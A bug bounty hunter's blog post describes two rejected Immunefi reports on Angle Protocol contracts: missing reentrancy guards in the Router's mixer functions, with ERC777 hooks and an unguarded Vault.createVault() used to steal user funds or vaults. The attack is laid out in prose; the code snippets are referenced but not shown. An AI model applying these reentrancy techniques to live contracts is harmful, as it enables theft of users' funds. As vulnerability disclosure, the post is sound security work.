Stealing in motion. Immunefi bounty hunting from different ANGLE.

When starting mentorship program with @trust__90, the first task I was given, was to do a security research of Angle Protocol — “a protocol designed to issue stablecoins pegged to potentially any value”. I have to admit, dealing with such a massive codebase was a huge challenge for me. But I decided that I’ll do my best and will dig deep, until I find something, even though the protocol is well established and went through several audits.

I spent much time trying to understand how everything works, prepared some PoCs for possible issues I found, but those were just false positives. Damn, the code was really good… I started to doubt if I’ll be able to find anything at all. But then, after many hours spent staring at the screen, I found something that was just not right.

BTW, you can find the PoC code in my GitHub repo. Enjoy!

The first submission concerned a Router contract, which allows batching multiple operations across whole protocol into a single transaction. Before moving on, I want to explain quickly the router pattern, as it’s quite common in projects offering multiple products.

Router pattern is meant to batch multiple actions into single transaction, possibly doing some data enrichment or cleaning, for better UX. Every action consists of action type, destination address and bytes calldata. If it operates on funds (tokens/native currency/etc.), the funds first have to be sent to the contract as the first step, and swept back to the recipient at the end, enforcing minimum return payment if applicable.It’s very composable, however extra caution has to be taken, as it can quickly become dangerously open for an attack.

Here, the principles are the same: pass arrays of actions with corresponding data, destination addresses, and watch the Router doing its magic. But, I quickly realized that the Router.mixer() function (code snippet below) does not have reentrancy protection.

This may be really dangerous, as there are multiple unsafe external calls, which may reenter the smart contract. This issue was actually found in Uniswap V3 Router. I found a way to reenter the contract, but it required user to pass a malicious contract. This by itself was a good reason to submit, but I learned from Trust, that you should give as little reasons to reject your submission as possible. At this time I thought that the router is supposed to integrate only with different Angle contracts, which use safe tokens, and there were no transactions invoked on this contract on mainnet to verify it. So, I can’t just go and create a malicious contract showing that it reenters, if the protocol will never use such a solution. I need to find a valid justification for it.

Some time later, the contract was updated. The changes there were rather cosmetic, but there was one thing completely changed my understanding of the possible attack vectors. Operations having “SavingsRate” in the name now changed to “ERC4626”. Here’s the change:

So, I grepped through the codebase in search for 4626 vaults and I saw an ERC4626 vault implementation. What’s more interesting, a comment in `BaseReactor::_deposit()` function stating “Need to transfer before minting or ERC777s could reenter”. Gotcha! So, given that there are no restrictions to the recipients, when using ERC777, a malicious user can reenter the smart contract and steal other user’s funds. According to Immunefi standards, this is “Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield”, which qualifies as critical vulnerability. So I wrote a PoC, submitted it, and… got rejected. I won’t quote the whole argument here, but the team’s statement was that it requires deliberate user action to call a malicious recipient. I did not agree with that, as the problem with ERC777 is that it uses an external contract as a message hook registry, so even and EOA may define a malicious smart contract hook, and it’s not so trivial to verify. Of course I asked Immunefi to verify the issue, but they agreed with the Angle Protocol, so there was nothing more that I could do.

Additionally, I saw that there were few hundred bucks being swapped using the Router, and already ~$20 were stuck in the contract for anyone to grab. I decided to inform the team about it, as it signaled some issues with frontend contacting the smart contract — but it was non an issue from the team’s perspective, because according to them, the feature was still in testing.

Right around the same time that I found the previous issue, I was looking at the Vault contract. First, a quick primer on how the Vault works in Angle:

Vault is basically a contract that allows you to perform multiple actions (like staking, borrowing, margin trading, etc.) for a single collateral <=> stablecoin pair. It also implements the router pattern, hence you can perform multiple operations in a single transaction. Each user can create multiple vaults, and each vault is non-fungible ERC721 token that can be transferred.

There was one little detail that itched me — a user does not have to define a vaultID, for which they want to perform an action, it is automatically set to the most recent vaultID in such case. This solution guarantees no front-running issues on new vaults, which would lead to stealing vaults. It’s all great, but since multiple operations can be batched into single transaction, is there a possibility to steal someone else’s vault in a single transaction? Well, not really, as there is reentrancy flag set in this case. Well, probably it’s just another dead end…

Later, I realized that the Router contract I described at first submission actually has a special function called mixerVaultManagerPermit(), that works like mixer() function, however it can temporarily give Router permission to manage user’s vaults. Now, this is interesting. This means that if multiple operations are batched, I can reenter the function to create a new vault, and receive next vault’s tokens (given that a vault was created in previous operation). As with previous submission, it qualifies as “Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield”. There is a problem though. Router contract overwrites all 0 vaultIDs with the most recent one before calling Vault, the attack will not work, as the ID is not incremented at this moment. This check is shown below:

Now that’s a bummer. But I decided that I want to break this, no matter what. I spent quite significant time trying to circumvent this. I tried manual analysis, going through it with pen and paper, fuzzying, to no avail. Right at the moment that I decided that it just works as intended, I saw her… That look, that smile, she was there looking at me all this time, and I just deliberately decided not to look at her— function Vault.createVault(address). It does just one thing — creates a new vault for anyone. And it does not have reentrancy protection! Now every piece of the puzzle started to fit together, I had a plan, but I had to give it a second though before writing a PoC, as it required significant amount of time.

Happily for me, there were already some transactions done on the Vault using Router contract as an entry point at this moment, and it split vault creation and funds transfer into two separate operations, similarly to the PoC that I was planning. So I wrote following set of actions:

Here are the most relevant parts of the code I ended up with. First, attack via reentrancy:

And coded attack test (I skipped ~100 lines of setup):

Works! All tests green. Again, submitted, got rejected, asked Immunefi for help, got rejected. Ugh. Then I decided that I don’t want to spend any more time with this codebase, because if user funds stealing is not sufficient reason to fix the code, then I don’t know what is.

The interesting part about bounty hunting is that it’s completely different from audits. First of all, you are working on a live organism. You are supposed to use all the tooling possible to detect any problems with running code and its’ storage. Second of all, the issues severity is nothing like in an audit. You will probably have a hard time trying to prove a theoretical issue. And forget about submitting centralization risks-those will be rejected right away. Even if it means EOA admin that have unlimited mint capabilities.

Even though both submissions were rejected, I still think that they should be fixed after all. It’s easy to imagine, given the composability of DeFi, that soon there will be some new project built atop of Angle Protocol, that will use their Router contract and possibly transfer tokens/create vaults on behalf of other users. Better safe than sorry, right?

And concerning Immunefi team, no hard feelings. I know that they have very difficult role, being somewhere between the interests of their clients and whitehats. It’s hard to balance this perfectly, and sometimes you have to choose “lesser evil”.